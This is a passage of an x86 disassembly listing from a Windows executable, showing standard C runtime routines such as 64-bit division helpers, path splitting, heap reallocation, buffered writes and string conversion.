ebx jnz short loc_4171B7 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_41721E loc_41719F: ; CODE XREF: sub_417183+30j mov cl, [edx] cmp cl, 61h jl short loc_4171B0 cmp cl, 7Ah jg short loc_4171B0 sub cl, 20h mov [edx], cl loc_4171B0: ; CODE XREF: sub_417183+21j ; sub_417183+26j inc edx cmp [edx], bl jnz short loc_41719F jmp short loc_41721E ; --------------------------------------------------------------------------- loc_4171B7: ; CODE XREF: sub_417183+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41C829 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_417210 push edi call sub_415D2F cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_417210 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push ds:dword_4C911C call sub_41C829 add esp, 20h test eax, eax jz short loc_417210 push [ebp+var_4] push [ebp+arg_0] call sub_415B90 pop ecx pop ecx loc_417210: ; CODE XREF: sub_417183+53j ; sub_417183+61j ... push [ebp+var_4] call sub_415DE1 mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_41721E: ; CODE XREF: sub_417183+1Aj ; sub_417183+32j pop ebx leave retn sub_417183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417221 proc near ; CODE XREF: sub_408F97+6p ; sub_408FB5+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_4C911C, 0 push ebx push esi push edi jnz short loc_41724E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4172E7 cmp eax, 5Ah jg loc_4172E7 add eax, 20h jmp loc_4172E7 ; --------------------------------------------------------------------------- loc_41724E: ; CODE XREF: sub_417221+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_417282 cmp ds:dword_42F56C, esi jle short loc_417270 push esi push ebx call sub_418762 pop ecx pop ecx jmp short loc_41727A ; --------------------------------------------------------------------------- loc_417270: ; CODE XREF: sub_417221+42j mov eax, ds:off_42F360 mov al, [eax+ebx*2] and eax, esi loc_41727A: ; CODE XREF: sub_417221+4Dj test eax, eax jnz short loc_417282 loc_41727E: ; CODE XREF: sub_417221+ADj mov eax, ebx jmp short loc_4172E7 ; --------------------------------------------------------------------------- loc_417282: ; CODE XREF: sub_417221+3Aj ; sub_417221+5Bj mov edx, ds:off_42F360 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4172A6 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_4172AF ; --------------------------------------------------------------------------- loc_4172A6: ; CODE XREF: sub_417221+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_4172AF: ; CODE XREF: sub_417221+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push ds:dword_4C911C call sub_41C829 add esp, 20h test eax, eax jz short loc_41727E cmp eax, esi jnz short loc_4172DA movzx eax, [ebp+var_4] jmp short loc_4172E7 ; --------------------------------------------------------------------------- loc_4172DA: ; CODE XREF: sub_417221+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4172E7: ; CODE XREF: sub_417221+16j ; sub_417221+1Fj ... pop edi pop esi pop ebx leave retn sub_417221 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4172F0 proc near ; CODE XREF: sub_409E68+3Dp ; sub_40B62E+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417311 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_417361 ; --------------------------------------------------------------------------- loc_417311: ; CODE XREF: sub_4172F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41731F: ; CODE XREF: sub_4172F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41731F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41734A cmp edx, [esp+4+arg_4] ja short loc_41734A jb short loc_417352 cmp eax, [esp+4+arg_0] jbe short loc_417352 loc_41734A: ; CODE XREF: sub_4172F0+4Aj ; sub_4172F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_417352: ; CODE XREF: sub_4172F0+52j ; sub_4172F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_417361: ; CODE XREF: sub_4172F0+1Fj pop ebx retn 10h sub_4172F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417370 proc near ; CODE XREF: sub_409E68+24p ; sub_40B62E+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_417392 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4173D3 ; --------------------------------------------------------------------------- loc_417392: ; CODE XREF: sub_417370+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4173A0: ; CODE XREF: sub_417370+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4173A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4173CE cmp edx, [esp+8+arg_4] ja short loc_4173CE jb short loc_4173CF cmp eax, [esp+8+arg_0] jbe short loc_4173CF loc_4173CE: ; CODE XREF: sub_417370+4Ej ; sub_417370+54j dec esi loc_4173CF: ; CODE XREF: sub_417370+56j ; sub_417370+5Cj xor edx, edx mov eax, esi loc_4173D3: ; CODE XREF: sub_417370+20j pop esi pop ebx retn 10h sub_417370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4173D8 proc near ; CODE XREF: sub_409F1E+1E3p ; sub_40CB17+F7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_415C80 cmp eax, 1 pop ecx jb short loc_417413 cmp byte ptr [ebx+1], 3Ah jnz short loc_417413 mov esi, [ebp+arg_4] test esi, esi jz short loc_41740F push 2 push ebx push esi call sub_41CE2D add esp, 0Ch and byte ptr [esi+2], 0 loc_41740F: ; CODE XREF: sub_4173D8+25j inc ebx inc ebx jmp short loc_41741D ; --------------------------------------------------------------------------- loc_417413: ; CODE XREF: sub_4173D8+18j ; sub_4173D8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41741D and byte ptr [eax], 0 loc_41741D: ; CODE XREF: sub_4173D8+39j ; sub_4173D8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_417495 loc_417430: ; CODE XREF: sub_4173D8+87j mov cl, [eax] movzx edx, cl test ds:byte_4CA5E1[edx], 4 jz short loc_417441 inc eax jmp short loc_41745B ; --------------------------------------------------------------------------- loc_417441: ; CODE XREF: sub_4173D8+64j cmp cl, 2Fh jz short loc_417455 cmp cl, 5Ch jz short loc_417455 cmp cl, 2Eh jnz short loc_41745B mov [ebp+var_4], eax jmp short loc_41745B ; --------------------------------------------------------------------------- loc_417455: ; CODE XREF: sub_4173D8+6Cj ; sub_4173D8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41745B: ; CODE XREF: sub_4173D8+67j ; sub_4173D8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_417430 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_417495 cmp [ebp+arg_8], 0 jz short loc_417490 sub edi, ebx cmp edi, esi jb short loc_417479 mov edi, esi loc_417479: ; CODE XREF: sub_4173D8+9Dj push edi push ebx push [ebp+arg_8] call sub_41CE2D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_417490: ; CODE XREF: sub_4173D8+97j mov ebx, [ebp+arg_4] jmp short loc_41749F ; --------------------------------------------------------------------------- loc_417495: ; CODE XREF: sub_4173D8+56j ; sub_4173D8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41749F and byte ptr [ecx], 0 loc_41749F: ; CODE XREF: sub_4173D8+BBj ; sub_4173D8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4174F2 cmp edi, ebx jb short loc_4174F2 cmp [ebp+arg_C], 0 jz short loc_4174CF sub edi, ebx cmp edi, esi jb short loc_4174B8 mov edi, esi loc_4174B8: ; CODE XREF: sub_4173D8+DCj push edi push ebx push [ebp+arg_C] call sub_41CE2D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4174CF: ; CODE XREF: sub_4173D8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41751A sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4174DF mov esi, eax loc_4174DF: ; CODE XREF: sub_4173D8+103j push esi push [ebp+var_4] push edi call sub_41CE2D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41751A ; --------------------------------------------------------------------------- loc_4174F2: ; CODE XREF: sub_4173D8+CCj ; sub_4173D8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_417510 sub eax, ebx cmp eax, esi jnb short loc_417501 mov esi, eax loc_417501: ; CODE XREF: sub_4173D8+125j push esi push ebx push edi call sub_41CE2D add esp, 0Ch and byte ptr [esi+edi], 0 loc_417510: ; CODE XREF: sub_4173D8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41751A and byte ptr [eax], 0 loc_41751A: ; CODE XREF: sub_4173D8+FCj ; sub_4173D8+118j ... pop edi pop esi pop ebx leave retn sub_4173D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41751F proc near ; CODE XREF: sub_40A627+19p ; sub_40BAA1+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_417F58 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41755D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41756A ; --------------------------------------------------------------------------- loc_41755D: ; CODE XREF: sub_41751F+34j lea eax, [ebp+var_20] push eax push 0 call sub_417E43 pop ecx pop ecx loc_41756A: ; CODE XREF: sub_41751F+3Cj mov eax, esi pop esi leave retn sub_41751F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41756F proc near ; CODE XREF: sub_40A86D+2Ep ; sub_4167B3+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41758A push [ebp+arg_4] call sub_415D2F pop ecx jmp loc_41780A ; --------------------------------------------------------------------------- loc_41758A: ; CODE XREF: sub_41756F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41759F push [ebp+arg_0] call sub_415DE1 pop ecx jmp loc_417808 ; --------------------------------------------------------------------------- loc_41759F: ; CODE XREF: sub_41756F+20j mov eax, ds:dword_4CA708 cmp eax, 3 jnz loc_4176AF loc_4175AD: ; CODE XREF: sub_41756F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41768B push [ebp+arg_0] call sub_418EA9 mov ebx, eax pop ecx test ebx, ebx jz loc_417666 cmp esi, ds:dword_4CA700 ja short loc_41761F mov edi, [ebp+arg_0] push esi push edi push ebx call sub_4196B2 add esp, 0Ch test eax, eax jnz short loc_41761B push esi call sub_4191FD mov edi, eax pop ecx test edi, edi jz short loc_41761F mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4175FF mov eax, esi loc_4175FF: ; CODE XREF: sub_41756F+8Cj push eax push ebx push edi call sub_415560 push ebx call sub_418EA9 push [ebp+arg_0] mov ebx, eax push ebx call sub_418ED4 add esp, 18h loc_41761B: ; CODE XREF: sub_41756F+74j test edi, edi jnz short loc_417662 loc_41761F: ; CODE XREF: sub_41756F+62j ; sub_41756F+81j test esi, esi jnz short loc_417626 push 1 pop esi loc_417626: ; CODE XREF: sub_41756F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push ds:dword_4CA704 call ds:dword_4220C8 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_417662 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41764E mov eax, esi loc_41764E: ; CODE XREF: sub_41756F+DBj push eax push ecx push edi call sub_415560 push [ebp+arg_0] push ebx call sub_418ED4 add esp, 14h loc_417662: ; CODE XREF: sub_41756F+AEj ; sub_41756F+D0j test ebx, ebx jnz short loc_417687 loc_417666: ; CODE XREF: sub_41756F+56j test esi, esi jnz short loc_41766D push 1 pop esi loc_41766D: ; CODE XREF: sub_41756F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push ds:dword_4CA704 call ds:dword_42217C ; RtlReAllocateHeap mov edi, eax loc_417687: ; CODE XREF: sub_41756F+F5j test edi, edi jnz short loc_4176A8 loc_41768B: ; CODE XREF: sub_41756F+43j cmp ds:dword_4C90E4, 0 jz short loc_4176A8 push esi call sub_418C74 test eax, eax pop ecx jnz loc_4175AD jmp loc_417808 ; --------------------------------------------------------------------------- loc_4176A8: ; CODE XREF: sub_41756F+11Aj ; sub_41756F+123j ... mov eax, edi jmp loc_41780A ; --------------------------------------------------------------------------- loc_4176AF: ; CODE XREF: sub_41756F+38j cmp eax, 2 jnz loc_4177CA cmp esi, 0FFFFFFE0h ja short loc_4176CC test esi, esi jbe short loc_4176C9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4176CC ; --------------------------------------------------------------------------- loc_4176C9: ; CODE XREF: sub_41756F+150j push 10h pop esi loc_4176CC: ; CODE XREF: sub_41756F+14Cj ; sub_41756F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_4177AC lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_419C04 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_417790 cmp esi, ds:dword_4315A4 jnb short loc_417754 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_419FCC add esp, 10h test eax, eax jz short loc_41771A mov edi, [ebp+arg_0] jmp short loc_41774C ; --------------------------------------------------------------------------- loc_41771A: ; CODE XREF: sub_41756F+1A4j push edi call sub_419CA0 mov edi, eax pop ecx test edi, edi jz short loc_417754 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_417733 mov eax, esi loc_417733: ; CODE XREF: sub_41756F+1C0j push eax push [ebp+arg_0] push edi call sub_415560 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_419C5B add esp, 18h loc_41774C: ; CODE XREF: sub_41756F+1A9j test edi, edi jnz loc_4176A8 loc_417754: ; CODE XREF: sub_41756F+18Bj ; sub_41756F+1B6j push esi push 0 push ds:dword_4CA704 call ds:dword_4220C8 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_4177AC movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_417775 mov eax, esi loc_417775: ; CODE XREF: sub_41756F+202j push eax push [ebp+arg_0] push edi call sub_415560 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_419C5B add esp, 18h jmp short loc_4177A4 ; --------------------------------------------------------------------------- loc_417790: ; CODE XREF: sub_41756F+17Fj push esi push [ebp+arg_0] push 0 push ds:dword_4CA704 call ds:dword_42217C ; RtlReAllocateHeap mov edi, eax loc_4177A4: ; CODE XREF: sub_41756F+21Fj test edi, edi jnz loc_4176A8 loc_4177AC: ; CODE XREF: sub_41756F+162j ; sub_41756F+1F8j cmp ds:dword_4C90E4, 0 jz loc_4176A8 push esi call sub_418C74 test eax, eax pop ecx jnz loc_4176CC jmp short loc_417808 ; --------------------------------------------------------------------------- loc_4177CA: ; CODE XREF: sub_41756F+143j ; sub_41756F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4177F4 test esi, esi jnz short loc_4177D8 push 1 pop esi loc_4177D8: ; CODE XREF: sub_41756F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push ds:dword_4CA704 call ds:dword_42217C ; RtlReAllocateHeap test eax, eax jnz short loc_41780A loc_4177F4: ; CODE XREF: sub_41756F+260j cmp ds:dword_4C90E4, 0 jz short loc_41780A push esi call sub_418C74 test eax, eax pop ecx jnz short loc_4177CA loc_417808: ; CODE XREF: sub_41756F+2Bj ; sub_41756F+134j ... xor eax, eax loc_41780A: ; CODE XREF: sub_41756F+16j ; sub_41756F+13Bj ... pop edi pop esi pop ebx leave retn sub_41756F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41780F proc near ; CODE XREF: sub_40AEC8+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_417833 xor eax, eax jmp loc_417900 ; --------------------------------------------------------------------------- loc_417833: ; CODE XREF: sub_41780F+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_417846 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41784D ; --------------------------------------------------------------------------- loc_417846: ; CODE XREF: sub_41780F+2Dj mov [ebp+arg_C], 1000h loc_41784D: ; CODE XREF: sub_41780F+35j ; sub_41780F+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_417881 mov eax, [esi+4] test eax, eax jz short loc_417881 cmp ebx, eax mov edi, ebx jb short loc_417867 mov edi, eax loc_417867: ; CODE XREF: sub_41780F+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_415560 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4178C7 ; --------------------------------------------------------------------------- loc_417881: ; CODE XREF: sub_41780F+47j ; sub_41780F+4Ej cmp ebx, [ebp+arg_C] jb short loc_4178CC test ecx, ecx jz short loc_417895 push esi call sub_4188F0 test eax, eax pop ecx jnz short loc_41790E loc_417895: ; CODE XREF: sub_41780F+79j cmp [ebp+arg_C], 0 jz short loc_4178A8 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_4178AA ; --------------------------------------------------------------------------- loc_4178A8: ; CODE XREF: sub_41780F+8Aj mov edi, ebx loc_4178AA: ; CODE XREF: sub_41780F+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41CEB7 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_417905 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_417905 loc_4178C7: ; CODE XREF: sub_41780F+70j mov edi, [ebp+var_4] jmp short loc_4178F5 ; --------------------------------------------------------------------------- loc_4178CC: ; CODE XREF: sub_41780F+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_417E43 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41790E inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4178F5 mov [ebp+arg_C], 1 loc_4178F5: ; CODE XREF: sub_41780F+BBj ; sub_41780F+DDj test ebx, ebx jnz loc_41784D mov eax, [ebp+arg_8] loc_417900: ; CODE XREF: sub_41780F+1Fj ; sub_41780F+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417905: ; CODE XREF: sub_41780F+ADj ; sub_41780F+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_417910 ; --------------------------------------------------------------------------- loc_41790E: ; CODE XREF: sub_41780F+84j ; sub_41780F+CFj mov eax, edi loc_417910: ; CODE XREF: sub_41780F+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_417900 sub_41780F endp ; =============== S U B R O U T I N E ======================================= sub_417919 proc near ; CODE XREF: sub_40B614+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:off_422080 cmp eax, 0FFFFFFFFh jnz short loc_417939 call ds:dword_42206C ; RtlGetLastWin32Error push eax call sub_41D064 pop ecx loc_417935: ; CODE XREF: sub_417919+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417939: ; CODE XREF: sub_417919+Dj test al, 1 jz short loc_41795A test [esp+arg_4], 2 jz short loc_41795A mov ds:dword_4C9084, 0Dh mov ds:dword_4C9088, 5 jmp short loc_417935 ; --------------------------------------------------------------------------- loc_41795A: ; CODE XREF: sub_417919+22j ; sub_417919+29j xor eax, eax retn sub_417919 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_40B73E+5Fp ; sub_40B73E+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_417981 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_417981: ; CODE XREF: sub_417960+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41799D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41799D: ; CODE XREF: sub_417960+27j or eax, eax jnz short loc_4179B9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4179FA ; --------------------------------------------------------------------------- loc_4179B9: ; CODE XREF: sub_417960+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4179C7: ; CODE XREF: sub_417960+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4179C7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4179F5 cmp edx, [esp+0Ch+arg_4] ja short loc_4179F5 jb short loc_4179F6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4179F6 loc_4179F5: ; CODE XREF: sub_417960+85j ; sub_417960+8Bj dec esi loc_4179F6: ; CODE XREF: sub_417960+8Dj ; sub_417960+93j xor edx, edx mov eax, esi loc_4179FA: ; CODE XREF: sub_417960+57j dec edi jnz short loc_417A04 neg edx neg eax sbb edx, 0 loc_417A04: ; CODE XREF: sub_417960+9Bj pop ebx pop esi pop edi retn 10h sub_417960 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_417A5C mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_417A5D test eax, 1 jz short loc_417A3D mov cl, [esi] cmp cl, [edi] jnz short loc_417A8A inc esi inc edi dec eax jz short loc_417A5A loc_417A3D: ; CODE XREF: _0:00417A30j _0:00417A58j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_417A8A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_417A8A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_417A3D loc_417A5A: ; CODE XREF: _0:00417A3Bj _0:00417A94j pop edi pop esi locret_417A5C: ; CODE XREF: _0:00417A16j retn ; --------------------------------------------------------------------------- loc_417A5D: ; CODE XREF: _0:00417A29j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_417A92 repe cmpsd jz short loc_417A92 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_417A85 cmp ch, dh jnz short loc_417A85 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_417A85 cmp ch, dh loc_417A85: ; CODE XREF: _0:00417A73j _0:00417A77j ... mov eax, 0 loc_417A8A: ; CODE XREF: _0:00417A36j _0:00417A43j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_417A92: ; CODE XREF: _0:00417A65j _0:00417A69j test eax, eax jz short loc_417A5A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_417A85 dec eax jz short loc_417AB9 cmp dh, ch jnz short loc_417A85 dec eax jz short loc_417AB9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_417A85 dec eax loc_417AB9: ; CODE XREF: _0:00417A9Fj _0:00417AA6j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_417ABC proc near ; CODE XREF: sub_40CA59+55p ; sub_4143F6+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_417AD3 loc_417AC9: ; CODE XREF: sub_417ABC+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_417AC9 loc_417AD3: ; CODE XREF: sub_417ABC+Bj sub eax, ecx sar eax, 1 dec eax retn sub_417ABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417AD9 proc near ; CODE XREF: sub_40CA59+19p ; sub_40CA59+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_417BA6 mov edi, [ebp+arg_8] cmp edi, esi jz loc_417BD3 cmp ds:dword_4C911C, esi jnz short loc_417B2A cmp edi, esi jbe loc_417BD3 loc_417B09: ; CODE XREF: sub_417AD9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_417BD3 inc eax inc edx inc edx cmp eax, edi jb short loc_417B09 jmp loc_417BD3 ; --------------------------------------------------------------------------- loc_417B2A: ; CODE XREF: sub_417AD9+26j mov ebx, [ebp+arg_4] mov esi, ds:dword_422134 push edi push edx push 0FFFFFFFFh push ebx push 9 push ds:dword_4C912C call esi ; MultiByteToWideChar test eax, eax jnz loc_417BD2 call ds:dword_42206C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_417B64 loc_417B55: ; CODE XREF: sub_417AD9+CBj ; sub_417AD9+F7j mov ds:dword_4C9084, 2Ah or eax, 0FFFFFFFFh jmp short loc_417BD3 ; --------------------------------------------------------------------------- loc_417B64: ; CODE XREF: sub_417AD9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_417B6C: ; CODE XREF: sub_417AD9+B3j mov cl, [eax] test cl, cl jz short loc_417B8E mov edx, ds:off_42F360 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_417B83 inc eax loc_417B83: ; CODE XREF: sub_417AD9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_417B6C loc_417B8E: ; CODE XREF: sub_417AD9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push ds:dword_4C912C call esi ; MultiByteToWideChar test eax, eax jnz short loc_417BD3 jmp short loc_417B55 ; --------------------------------------------------------------------------- loc_417BA6: ; CODE XREF: sub_417AD9+Fj cmp ds:dword_4C911C, esi jnz short loc_417BB9 push [ebp+arg_4] call sub_415C80 pop ecx jmp short loc_417BD3 ; --------------------------------------------------------------------------- loc_417BB9: ; CODE XREF: sub_417AD9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push ds:dword_4C912C call ds:dword_422134 ; MultiByteToWideChar cmp eax, esi jz short loc_417B55 loc_417BD2: ; CODE XREF: sub_417AD9+6Bj dec eax loc_417BD3: ; CODE XREF: sub_417AD9+1Aj ; sub_417AD9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_417AD9 endp ; =============== S U B R O U T I N E ======================================= 